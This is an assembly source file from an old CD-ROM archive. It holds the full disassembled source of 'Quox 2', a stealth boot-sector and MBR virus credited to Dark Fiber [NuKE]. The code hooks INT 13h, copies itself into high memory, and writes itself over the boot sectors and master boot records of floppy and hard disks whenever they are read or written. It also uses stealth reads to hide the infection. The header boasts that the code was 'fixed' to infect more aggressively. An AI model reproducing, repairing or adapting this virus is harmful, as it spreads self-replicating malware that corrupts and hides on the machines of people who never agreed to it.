HPAVC/HPAVC CD-ROM.iso/pc/SOURCE.ZIP/QUOX2.ASM

Assembly Source File | 1996-03-17 | 8.4 KB | 294 lines

comment %

        Title : Quox 2
         Type : Stealth, Boot + MBR infector
    Assembler : Use A86 to create a .BIN bootsector image.
       Disass : Dark Fiber [NuKE]
     Comments : This is a *FIXED* version of Quox, I fixed the code
                coz I think someone purposley fucked with the copy I had.
                This version will correctly check to see if its already in
                memory, it will also infect hard disks whenever the mbr is
                accessed instead of just on booting up from an infected
                disk or whatever the original did.

                Its 95% in its original state.
%


Dos_Media_Descriptor equ 015h

                org     0

;this code is used as its infection marker.
start:
                cli
                xor     ax,ax
                mov     ss,ax
                mov     sp,7C00h                ;set stack below code
                sti
                jmp     short Install_Memory

Infection_Marker_Len equ $ - Start

;floopy boot block shit, 02Ch bytes long.
Boot_Block:
                add     [bp+si],al
                add     al,[bx+di]
                add     [bp+si],al
                jo      $+2
                mov     al,ds:[0f905h]
                add     ax,[bx+si]
                or      [bx+si],ax
                add     al,[bx+si]
                db      10 dup (0)
                db       29h,0F3h
                db      8, 'X[_QUOX_     '
                db      0
Boot_Block_Len equ $ - Boot_Block

Install_Memory:
                cld
                mov     ds,ax
                mov     si,013h * 4                     ;int 13 vect offset
                push    cs
                pop     es
                mov     di,07c00h + offset Old_Int_13
                movsw
                movsw

;This memory check routine is fucked.
;it checks the wrong part in memory when it looks for itself.
                mov     ax,[0413h]                      ;get amount o mem in kb
                mov     dx,ax
                mov     cl,6
                shl     ax,cl                           ;convert to paras
                mov     si,07C00h
                mov     di,1024
                mov     es,ax
                mov     cx,Infection_Marker_Len         ;is virus in TOM
                repe    cmpsb
                jz      Already_In_Memory
                sub     ax,1024/16                      ;sub 1 kb from paras
                dec     word ptr [0413h]                ;sub 1 kb from total

Already_In_Memory:
                cli
                mov     word ptr [04ch],offset Int_13_Handler
                mov     [04eh],ax                       ;set new Int 13h
                sti

                mov     es,ax
                xor     di,di
                mov     si,07c00h
                mov     cx,256                          ;copy virus to TOM
                rep     movsw

                mov     ax,offset Jump_2_Himem          ;Jump up to TOM
                push    es
                push    ax
                retf

Jump_2_Himem:
                push    cs
                pop     ds
                mov     si,offset _Sector_Locn          ;Reset disk system
                mov     ah,0
                mov     dl,[si+2]
                int     13h

                xor     ax,ax
                mov     es,ax
                mov     bx,7C00h
                mov     ax,201h
                mov     cx,[si]
                mov     dx,[si+2]
                call    Sim_Int_13                      ;read in original
                jc      Jump_2_Himem                    ;boot sector\mbr

                db      0eaH                            ;jmp 0:7c00h
                dw      07c00h                          ;jump into old boot
                dw      ?                               ;code

Int_13_Handler:
                cmp     ah,2                            ;read?
                je      Try_Infection
                cmp     ah,3                            ;write?
                je      Try_Infection

Run_Int_13:
                jmp     dword ptr cs:[Old_Int_13]       ;run old int13

Try_Infection:
                call    Check_Type                      ;is it a good disk?
                jnz     Run_Int_13

                cmp     cx,1                            ;from first sector?
                jne     Run_Int_13

                push    ds
                push    es
                pusha

                call    Sim_Int_13                      ;run function

                pushf
                push    cs
                pop     ds

                call    Grab_Boot                       ;get boot\mbr sector
                jc      No_Infection
                jz      Stealth_Read                    ;stealth read
                call    Infect_Disk                     ;infect it
                call    Clean_Buffer                    ;clean memory

No_Infection:
                popf
                popa
                pop     es
                pop     ds
                retf    2

Stealth_Read:
                popf
                popa

                mov     ax,0201h
                mov     cx,[512 + _Sector_Locn]
                mov     dx,[512 + _Drive]

                pop     es
                pop     ds
                jmp     short Run_Int_13


Sim_Int_13:
                pushf
                call    dword ptr cs:[Old_Int_13]
                ret


Check_Type:
                or      dh,dh
                jnz     Bad_Type

                cmp     dl,1
                jae     Good_Type
                cmp     dl,080
                jne     Bad_Type

Good_Type:
                push    ax
                xor     ax,ax
                pop     ax
Bad_Type:
                ret


Clean_Buffer:
                pusha
                push    cs
                pop     es

                xor     ax,ax
                mov     cx,256
                mov     di,512
                rep     stosw

                popa
                ret



Grab_Boot:
                mov     di,2
Read_Sector:
                push    cs
                pop     es
                mov     bx,200h
                mov     ax,201h
                call    Sim_Int_13
                jnc     Check_For_Infection
                dec     di
                jnz     Read_Sector
                stc
                ret

Check_For_Infection:
                xor     si,si
;**             mov     di,bx
                db 08bh, 0fbh
                mov     cx,Infection_Marker_Len
                repe    cmpsb
                ret



Infect_Disk:
                push    cs
                pop     es

                mov     di,offset _Sector_Locn
                mov     si,512 + Dos_Media_Descriptor
                cmp     byte ptr [si],0F6h              ;? maybe 2.88 media?
                je      End_Infect_Code

                mov     ax,301h
                mov     bx,200h
                mov     dh,1
                mov     cl,[si+3]                       ;sectors per track
                mov     ch,4Fh                          ;set for 80 tracks

                cmp     byte ptr [si],0FDh              ;1.2mb
                jne     Is_Hard_Disk

                mov     ch,27h                          ;set for 40tracks

Is_Hard_Disk:
                cmp     dl,80h
                jne     Not_Hard_Disk
                mov     cx,w[512 + _Partition + 8]      ;starting sector #
                xor     dh,dh                           ;realative to beg o hd

Not_Hard_Disk:
                mov     [di],cx
                mov     [di+2],dx
                call    Sim_Int_13
                jc      End_Infect_Code

                mov     cx,Boot_Block_Len
                mov     di,Boot_Block
                mov     si,512 + Boot_Block
                rep     movsb

                mov     di,offset _Partition
                mov     si,512 + _Partition
                mov     cx,20h
                rep     movsw

                inc     cx
                xor     bx,bx
                mov     ax,301h
                xor     dh,dh
                call    Sim_Int_13

End_Infect_Code:
                ret

Old_Int_13:     dd      ?
                db      30 dup (0)              ;??? Filler?

_Sector_Locn:   db      09, 04fh
_Drive:         db      0h
_Head:          db      01h

                db      10 dup (0)              ;??? More Filler?

_Partition      db      64 dup (0)

Bootstrap_BIOS_Marker:
                db       55h,0AAh

seg_a           ends

                end     start